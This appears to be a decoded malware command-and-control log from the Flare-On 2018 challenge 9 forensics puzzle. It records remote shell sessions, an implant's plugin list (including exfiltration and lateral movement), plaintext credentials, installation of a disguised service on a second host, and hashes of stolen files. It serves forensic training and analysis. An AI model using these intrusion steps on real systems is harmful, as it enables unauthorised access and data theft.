Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
shell_out
cd c:\

c:\>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\

06/10/2009  02:42 PM                24 autoexec.bat
06/10/2009  02:42 PM                10 config.sys
07/13/2009  07:37 PM    <DIR>          PerfLogs
07/19/2018  03:02 PM    <DIR>          Program Files
07/23/2018  09:29 PM    <DIR>          temp
05/24/2017  11:45 AM    <DIR>          Users
08/10/2018  08:21 AM    <DIR>          Windows
07/23/2018  10:26 AM    <DIR>          work
               2 File(s)             34 bytes
               6 Dir(s)  52,576,829,440 bytes free

c:\>
shell_out
cd c:\work

c:\work>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work
```

```
07/23/2018  10:26 AM    <DIR>          .
07/23/2018  10:26 AM    <DIR>          ..
07/23/2018  10:26 AM    <DIR>          FlareOn2017_challenge10
08/10/2018  08:08 AM    <DIR>          FlareOn2018_Challenge9
07/23/2018  10:26 AM    <DIR>          Helix
07/23/2018  10:25 AM    <DIR>          NX_Code
07/23/2018  10:26 AM    <DIR>          X16
               0 File(s)              0 bytes
               7 Dir(s)  52,576,034,816 bytes free

c:\work>
shell_out
cd c:\work\FlareOn2018_Challenge9

c:\work\FlareOn2018_Challenge9>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work\FlareOn2018_Challenge9

08/10/2018  08:08 AM    <DIR>          .
08/10/2018  08:08 AM    <DIR>          ..
07/19/2018  02:24 PM             6,656 level9.exe
08/10/2018  07:35 AM            14,502 level9.png
08/10/2018  07:40 AM            10,223 level9.zip
               3 File(s)         31,381 bytes
               2 Dir(s)  52,576,034,816 bytes free

c:\work\FlareOn2018_Challenge9>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work\FlareOn2018_Challenge9

08/10/2018  08:24 AM    <DIR>          .
08/10/2018  08:24 AM    <DIR>          ..
08/10/2018  08:24 AM            12,288 Cryptor.exe
07/19/2018  02:24 PM             6,656 level9.exe
08/10/2018  07:35 AM            14,502 level9.png
08/10/2018  07:40 AM            10,223 level9.zip
               4 File(s)         43,669 bytes
```

```
               2 Dir(s)  52,576,022,528 bytes free

c:\work\FlareOn2018_Challenge9>
shell_out
Cryptor level9.crypt level9.zip

shell_out
Adding file level9.zip
Done

c:\work\FlareOn2018_Challenge9>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work\FlareOn2018_Challenge9

08/10/2018  08:24 AM    <DIR>          .
08/10/2018  08:24 AM    <DIR>          ..
08/10/2018  08:24 AM            12,288 Cryptor.exe
08/10/2018  08:24 AM            10,303 level9.crypt
07/19/2018  02:24 PM             6,656 level9.exe
08/10/2018  07:35 AM            14,502 level9.png
08/10/2018  07:40 AM            10,223 level9.zip
               5 File(s)         53,972 bytes
               2 Dir(s)  52,574,953,472 bytes free

c:\work\FlareOn2018_Challenge9>
shell_out
del level9.zip

c:\work\FlareOn2018_Challenge9>
shell_out
del level9.exe

c:\work\FlareOn2018_Challenge9>
shell_out
del level9.png

c:\work\FlareOn2018_Challenge9>
shell_out
del level9.crypt

c:\work\FlareOn2018_Challenge9>
```

```
shell_out
del Cryptor.exe

c:\work\FlareOn2018_Challenge9>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work\FlareOn2018_Challenge9

08/10/2018  08:26 AM    <DIR>          .
08/10/2018  08:26 AM    <DIR>          ..
               0 File(s)              0 bytes
               2 Dir(s)  52,574,937,088 bytes free

c:\work\FlareOn2018_Challenge9>
query_plugins: [{'id': '00000081',
  'name': '',
  'realname': 'MAINC2',
  'type': 'CMD ',
  'version': '1.5.0'},
 {'id': '00000083',
  'name': '',
  'realname': 'SHELL',
  'type': 'CMD ',
  'version': '1.2.0'},
 {'id': '00000082',
  'name': '',
  'realname': 'FILES',
  'type': 'CMD ',
  'version': '2.3.0'},
 {'id': '00000084',
  'name': '',
  'realname': 'PROXY',
  'type': 'CMD ',
  'version': '2.5.0'},
 {'id': '00000087',
  'name': '',
  'realname': 'FTP_EXFIL',
  'type': 'CMD ',
  'version': '1.1.0'},
 {'id': '00000085',
  'name': '',
  'realname': 'LATERAL',
```

```
  'type': 'CMD ',
  'version': '1.1.0'},
 {'id': '00000093',
  'name': '',
  'realname': 'CRYPTGENRANDOM',
  'type': 'RAND',
  'version': '1.0.3'},
 {'id': '0000008e',
  'name': '',
  'realname': 'HASHSHA256',
  'type': 'HASH',
  'version': '1.0.6'},
 {'id': '00000092',
  'name': '',
  'realname': 'AES128_CFB',
  'type': 'CRPT',
  'version': '1.0.9'},
 {'id': '00000078',
  'name': '',
  'realname': 'ZLIB',
  'type': 'COMP',
  'version': '1.2.11'},
 {'id': '0000008f',
  'name': '',
  'realname': 'HMACSHA256',
  'type': 'HMAC',
  'version': '1.0.9'}]
host_survey: {'default_locale': 1033,
 'host_id': '{f60f8b7b-63de-16f0-2448-02f52ae846c3}',
 'hostname': u'JOHNJACKSON-PC',
 'malware_version': '3.0.8',
 'memo': u'feye2018 tcp cli',
 'os_version': '6.1.7601',
 'username': u'john.jackson'}
drive_list: {'drives': [{'drive_letter': u'A:\\',
              'filesystem': u'',
              'free_space': 0,
              'name': u'',
              'total_space': 0,
              'type': 2},
             {'drive_letter': u'C:\\',
              'filesystem': u'NTFS',
              'free_space': 54842515456,
              'name': u'',
              'total_space': 64422408192,
```

```
              'type': 3},
             {'drive_letter': u'D:\\',
              'filesystem': u'',
              'free_space': 0,
              'name': u'',
              'total_space': 0,
              'type': 5},
             {'drive_letter': u'X:\\',
              'filesystem': u'HGFS',
              'free_space': 190915125248,
              'name': u'Shared Folders',
              'total_space': 1007057006592,
              'type': 4}]}
dir_list: {'contents': [{'filename': u'$Recycle.Bin'},
               {'filename': u'autoexec.bat'},
               {'filename': u'Boot'},
               {'filename': u'bootmgr'},
               {'filename': u'BOOTSECT.BAK'},
               {'filename': u'config.sys'},
               {'filename': u'Documents and Settings'},
               {'filename': u'pagefile.sys'},
               {'filename': u'PerfLogs'},
               {'filename': u'Program Files'},
               {'filename': u'ProgramData'},
               {'filename': u'Recovery'},
               {'filename': u'staging'},
               {'filename': u'System Volume Information'},
               {'filename': u'temp'},
               {'filename': u'Users'},
               {'filename': u'Windows'},
               {'filename': u'work'}],
 'dirname': u'c:\\'}
dir_list: {'contents': [{'filename': u'.'},
               {'filename': u'..'},
               {'filename': u'AX_Code'},
               {'filename': u'EX_Code'},
               {'filename': u'FlareOn2016'},
               {'filename': u'FlareOn2017'},
               {'filename': u'FlareOn2018'},
               {'filename': u'HX_Code'},
               {'filename': u'Malware'},
               {'filename': u'NX_Code'},
               {'filename': u'RSA_factoring'}],
 'dirname': u'c:\\work\\'}
shell_out
```

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\temp>
shell_out
cd c:\

c:\>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\

06/10/2009  02:42 PM                24 autoexec.bat
06/10/2009  02:42 PM                10 config.sys
07/13/2009  07:37 PM    <DIR>          PerfLogs
02/20/2013  05:08 PM    <DIR>          Program Files
08/01/2017  10:07 AM    <DIR>          staging
07/23/2018  12:38 PM    <DIR>          temp
05/24/2017  11:45 AM    <DIR>          Users
02/20/2013  05:18 PM    <DIR>          Windows
07/23/2018  07:45 AM    <DIR>          work
               2 File(s)             34 bytes
               7 Dir(s)  54,842,515,456 bytes free

c:\>
shell_out
cd c:\work\

c:\work>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work

07/23/2018  07:45 AM    <DIR>          .
07/23/2018  07:45 AM    <DIR>          ..
05/26/2013  08:36 AM    <DIR>          AX_Code
05/26/2013  08:37 AM    <DIR>          EX_Code
05/26/2013  08:40 AM    <DIR>          FlareOn2016
05/26/2013  08:37 AM    <DIR>          FlareOn2017
```

```
07/23/2018  07:53 AM    <DIR>          FlareOn2018
05/26/2013  08:41 AM    <DIR>          HX_Code
05/26/2013  08:41 AM    <DIR>          Malware
05/26/2013  08:40 AM    <DIR>          NX_Code
05/26/2013  08:37 AM    <DIR>          RSA_factoring
               0 File(s)              0 bytes
              11 Dir(s)  54,842,515,456 bytes free

c:\work>
shell_out
cd c:\work\flareon2018

c:\work\FlareOn2018>
shell_out
dir
 Volume in drive C has no label.
 Volume Serial Number is ECAA-2B67

 Directory of c:\work\FlareOn2018

07/23/2018  07:53 AM    <DIR>          .
07/23/2018  07:53 AM    <DIR>          ..
07/23/2018  07:45 AM    <DIR>          Challenge01
07/23/2018  07:45 AM    <DIR>          Challenge02
07/23/2018  07:45 AM    <DIR>          Challenge03
07/23/2018  07:46 AM    <DIR>          Challenge04
07/23/2018  07:46 AM    <DIR>          Challenge05
07/23/2018  07:46 AM    <DIR>          Challenge06
07/23/2018  07:46 AM    <DIR>          Challenge07
07/23/2018  07:46 AM    <DIR>          Challenge08
07/23/2018  10:44 AM    <DIR>          Challenge09
07/23/2018  07:46 AM    <DIR>          Challenge10
07/23/2018  07:53 AM    <DIR>          Challenge11
07/23/2018  07:53 AM    <DIR>          Challenge12
               0 File(s)              0 bytes
              14 Dir(s)  54,842,515,456 bytes free

c:\work\FlareOn2018>
shell_out
cd c:\work\flareon2018\Challenge09

c:\work\FlareOn2018\Challenge09>
shell_out
dir
 Volume in drive C has no label.
```

```
 Volume Serial Number is ECAA-2B67

 Directory of c:\work\FlareOn2018\Challenge09

07/23/2018  10:44 AM    <DIR>          .
07/23/2018  10:44 AM    <DIR>          ..
07/23/2018  10:45 AM               119 README.md
               1 File(s)            119 bytes
               2 Dir(s)  54,842,515,456 bytes free

c:\work\FlareOn2018\Challenge09>
shell_out
type README.md
# TODO By Larry

Larry is running late again. Check the wiki (http://wiki.flare.fireeye.com:8081) for latest
updates.
c:\work\FlareOn2018\Challenge09>
shell_out
ping wiki.flare.fireeye.com

shell_out

Pinging wiki.flare.fireeye.com [192.168.200.4] with 32 bytes of data:
Reply from 192.168.200.4: bytes=32 time<1ms TTL=64

shell_out
Reply from 192.168.200.4: bytes=32 time<1ms TTL=64

shell_out
Reply from 192.168.200.4: bytes=32 time<1ms TTL=64

shell_out
Reply from 192.168.200.4: bytes=32 time<1ms TTL=64

Ping statistics for 192.168.200.4:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

c:\work\FlareOn2018\Challenge09>
query_proxy: [{'hostanme': 'wiki.flare.fireeye.com', 'index': 0, 'port': 8081, 'type': 0}]
shell_out
ping larryjohnson-pc
```

```
Pinging larryjohnson-pc [fe80::905b:87b:5c8d:a243%11] with 32 bytes of data:
Reply from fe80::905b:87b:5c8d:a243%11: time<1ms

shell_out
Reply from fe80::905b:87b:5c8d:a243%11: time<1ms

shell_out
Reply from fe80::905b:87b:5c8d:a243%11: time<1ms

shell_out
Reply from fe80::905b:87b:5c8d:a243%11: time<1ms

Ping statistics for fe80::905b:87b:5c8d:a243%11:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

c:\work\FlareOn2018\Challenge09>
query_proxy: [{'hostanme': 'wiki.flare.fireeye.com', 'index': 0, 'port': 8081, 'type': 0},
 {'hostanme': u'192.168.221.105',
  'index': 0,
  'pipe': u'malaproppipe',
  'type': 80}]
authenticate: {'password': 'welcomepass1!1'}
shell_in: 'cd c:\\'
shell_in: 'dir'
shell_in: 'cd c:\\work\\'
shell_in: 'dir'
shell_in: 'cd c:\\work\\flareon2018'
shell_in: 'dir'
shell_in: 'cd c:\\work\\flareon2018\\Challenge09'
shell_in: 'dir'
shell_in: 'type README.md'
shell_in: 'ping wiki.flare.fireeye.com'
shell_in: 'ping larryjohnson-pc'
lateral_activate: {'hostname': u'192.168.221.105',
 'password': u'n3v3rgunnag1veUup',
 'username': u'larry.johnson'}
lateral_install: {'args': u' -service',
 'filename': u'launchaccelerator.exe',
 'hostname': u'192.168.221.105',
 'service': u'LaunchAccelerator'}
lateral_config: {'commstype': 5,
 'hostname': '',
 'memo': u'feye2018 pipe srv',
```

```
 'mutex': u'asdliugasldmgj',
 'password': u'welcomepass1!1',
 'pipename': u'malaproppipe',
 'port': 0,
 'servicename': u'LaunchAccelerator'}
lateral_deactiveate: None
lateral_activate: {'hostname': u'192.168.221.105',
 'password': u'n3v3rgunnag1veUup',
 'username': u'larry.johnson'}
proxy_connect: {'hostname': 'wiki.flare.fireeye.com', 'port': 8081}
############################################################
Files:
05a3070492c6c9ca596997d3a79fe570: malaprop_stage3.dll_
93cc547f9adbd6a4366d3d8b415a77f1: c:\work\FlareOn2018_Challenge9\Cryptor.exe
81ce35acb25c57257e0517ff0f379e8c: level9.crypt
378e1ac4fa4ab0329332d823b3448a62: /
5aecc6708beef1e98bc627c16644a4fb: /moin_static199/common/js/common.js
1e3633d772c2d8057e4ec2cba0630bd6: /moin_static199/common/flare_logo64.png
6dfc2390288b83f9b8cc619ac65a24f9: /moin_static199/modernized/css/print.css
a7e8eb69c3314d556c23a85f366a3c86: /moin_static199/modernized/css/common.css
92e5379eafd4c4eebdda49e6c8d85986: /moin_static199/modernized/css/screen.css
e42b5dc28457c35e38d9570d8bb22be8: /moin_static199/modernized/css/projection.css
ef67a4e9689efda71625a2ef894fb700: /moin_static199/modernized/img/moin-www.png
824340baaf76d4442a9a47545061d464: /FlareProjects
58ae0d221fb2bb05f69a5a6b5ca2de30: /FlareOn2018
dab1c5d6bb69c6bf716826364b898cc1: /FlareOn2018Challenge9
e5660aeb0add65feb53179dfaf4a5c97: level9.zip
```